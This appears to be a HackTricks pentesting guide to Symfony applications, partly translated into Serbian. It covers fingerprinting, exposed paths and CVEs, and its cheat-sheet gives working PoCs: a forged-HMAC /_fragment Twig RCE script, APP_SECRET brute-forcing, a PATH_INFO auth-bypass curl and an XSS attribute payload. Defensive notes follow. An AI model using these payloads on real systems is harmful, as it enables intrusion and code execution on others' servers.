Symfony

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Symfony is jedan od najkorišćenijih PHP frameworks i redovno se pojavljuje u procenama enterprise, e-commerce i CMS ciljeva (Drupal, Shopware, Ibexa, OroCRM … svi ugrađuju Symfony komponente). Ova strana sakuplja offensive savete, uobičajene pogrešne konfiguracije i recentne ranjivosti koje treba da imate na listi za proveru kada otkrijete Symfony aplikaciju.

Historical note: A large part of the ecosystem still runs the 5.4 LTS branch (EOL November 2025). Symfony 7.4 became the new LTS in Nov 2025 and will receive security fixes until Nov 2029. Always verify the exact patch-level because many 2024‑2026 advisories were fixed only in micro releases.


Recon & Enumeration

Finger-printing

  • HTTP response headers: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link or cookies starting with sf_redirect, sf_session, MOCKSESSID.
  • Source code leaks (composer.json, composer.lock, /vendor/…) često otkrivaju tačnu verziju:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Public routes that only exist on Symfony:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (pretty error pages)
  • /app_dev.php, /config.php, /config_dev.php (pre-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith or ffuf/feroxbuster wordlists: symfony.txt → look for /_fragment, /_profiler, .env, .htaccess.

Interesting files & endpoints

PathZašto je bitno
/.env, /.env.local, /.env.prodČesto pogrešno postavljeno → leaks APP_SECRET, DB creds, SMTP, AWS keys
/.git, .svn, .hgOtkrivanje izvornog koda → kredencijali + poslovna logika
/var/log/*.log, /log/dev.logPogrešna konfiguracija web-root-a izlaže stack-traces
/_profilerPuna istorija zahteva, konfiguracija, service container, APP_SECRET (≤ 3.4)
/_fragmentUlazna tačka koju koriste ESI/HInclude. Može se zloupotrebiti kada se zna APP_SECRET
/vendor/phpunit/phpunit/phpunitPHPUnit RCE ako je dostupno (CVE-2017-9841)
/index.php/_error/{code}Finger-print i ponekad leak exception traces

High-impact Vulnerabilities

1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)

  • CVE-2019-18889 originally, but still appears on modern targets when debug is left enabled or .env is exposed.
  • Kada se zna 32-znamenkasti APP_SECRET, skrojite HMAC token i zloupotrebite interni render() controller da izvršite proizvoljni Twig:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Excellent write-up & exploitation script: Ambionics blog (linked in References).

2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)

  • Pogađa verzije ispod 5.4.50, 6.4.29 i 7.3.7. Normalizacija puta može ukloniti vodeći /, čime se lome pravila pristupa koja pretpostavljaju /admin itd.
  • Brzi test: curl -H 'PATH_INFO: admin/secret' https://target/index.php → ako dođe do admin ruta bez autentikacije, pronašli ste problem.
  • Ispravka: nadogradnja symfony/http-foundation ili celog framework-a na patch koji sadrži fiks.

3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)

  • Pogađa verzije ispod 5.4.51, 6.4.33, 7.3.11, 7.4.5 i 8.0.5 na Windows kada se PHP pokreće iz MSYS2 (Git-Bash, mingw). Process ne zaklanja = što dovodi do korumpiranih putanja; destruktivne komande (rmdir, del) mogu pogoditi nepredviđene direktorijume.
  • Ako možete upload-ovati PHP skriptu ili uticati na Composer/CLI helpere koji zovu Process, konstrukti arguments sa = (npr. E:/=tmp/delete) da prouzrokujete prepisivanje putanje.

4. Runtime env/argv injection – CVE-2024-50340 (Runtime)

  • Kada je register_argv_argc=On i koriste se non-SAPI runtimes, posebno skrojeni query string-ovi mogu da okrenu APP_ENV/APP_DEBUG preko argv parsiranja. Patch-ovano u 5.4.46/6.4.14/7.1.7.
  • Tražite /?--env=prod ili slično u logovima.

5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)

  • Specijalni karakteri u URI nisu bili validirani na isti način kao u browserima, dopuštajući redirect ka domenima pod kontrolom napadača. Fix u 5.4.46/6.4.14/7.1.7.

6. Symfony UX attribute injection – CVE-2025-47946

  • symfony/ux-twig-component & symfony/ux-live-component pre 2.25.1 renderuju {{ attributes }} bez escaping-a → attribute injection/XSS. Ako aplikacija dozvoljava korisnicima da definišu atribute komponenti (admin CMS, email templating) možete da lančano dođete do injekcije skripte.
  • Nadogradite oba paketa na 2.25.1+. Kao manualni exploit, postavite JS u vrednost atributa prosleđenog custom komponenti i izazovite renderovanje.

7. Windows Process Hijack – CVE-2024-51736 (Process)

  • Komponenta Process je tražila current working directory pre PATH na Windows-u. Napadač koji može da upload-uje tar.exe, cmd.exe, itd. u upisiv web-root i pokrene Process (npr. ekstrakcija fajlova, generisanje PDF) dobija izvršenje komandi.
  • Patch-ovano u 5.4.50, 6.4.14, 7.1.7.

8. Session-Fixation – CVE-2023-46733

  • Authentication guard je ponovo koristio postojeći session ID nakon prijave. Ako napadač podesi cookie pre nego što žrtva autentifikuje, preuzme nalog posle login-a.

9. Twig sandbox XSS – CVE-2023-46734

  • U aplikacijama koji izlažu user-controlled template-ove (admin CMS, email builder) nl2br filter može da se zloupotrebi za zaobilaženje sandbox-a i injekciju JS-a.

10. Symfony 1 gadget chains (still found in legacy apps)

  • phpggc symfony/1 system id proizvodi Phar payload koji izaziva RCE kada se deserializuje na klasama kao što je sfNamespacedParameterHolder. Proverite file-upload endpoint-e i phar:// wrapper-e.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculate HMAC token for /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce slabog APP_SECRET

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE preko izloženog Symfony Console

Ako je bin/console dostupan preko php-fpm ili direct CLI upload:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Koristite deserialization gadgets unutar cache directory ili napišite zlonamerni Twig template koji će biti izvršen na next request.

Brzo testirajte PATH_INFO bypass (CVE-2025-64500)

curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.

Spray UX attribute injection (CVE-2025-47946)

{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />

Ako renderovani izlaz ispiše atribut ne-escape-ovan, XSS uspeva. Patch na 2.25.1+.


Odbrambene napomene

  1. Never deploy debug (APP_ENV=dev, APP_DEBUG=1) na produkciju; blokirajte /app_dev.php, /_profiler, /_wdt u konfiguraciji web-servera.
  2. Skladištite tajne u env var-ovima ili vault/secrets.local.php, nikada u fajlovima dostupnim kroz document-root.
  3. Sprovodite upravljanje ispravkama – pretplatite se na Symfony security advisories i održavajte bar LTS patch-level (5.4.x do Nov 2025, 6.4 do Nov 2027, 7.4 do Nov 2029).
  4. Ako koristite Windows, odmah nadogradite da ublažite CVE-2024-51736 & CVE-2026-24739 ili dodajte open_basedir/disable_functions odbranu u dubinu.

Korisni ofanzivni alati

  • ambionics/symfony-exploits – secret-fragment RCE, otkrivanje debugger ruta.
  • phpggc – Gotovi gadget chains za Symfony 1 & 2.
  • sf-encoder – mali pomoćnik za izračunavanje _fragment HMAC (Go implementacija).

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks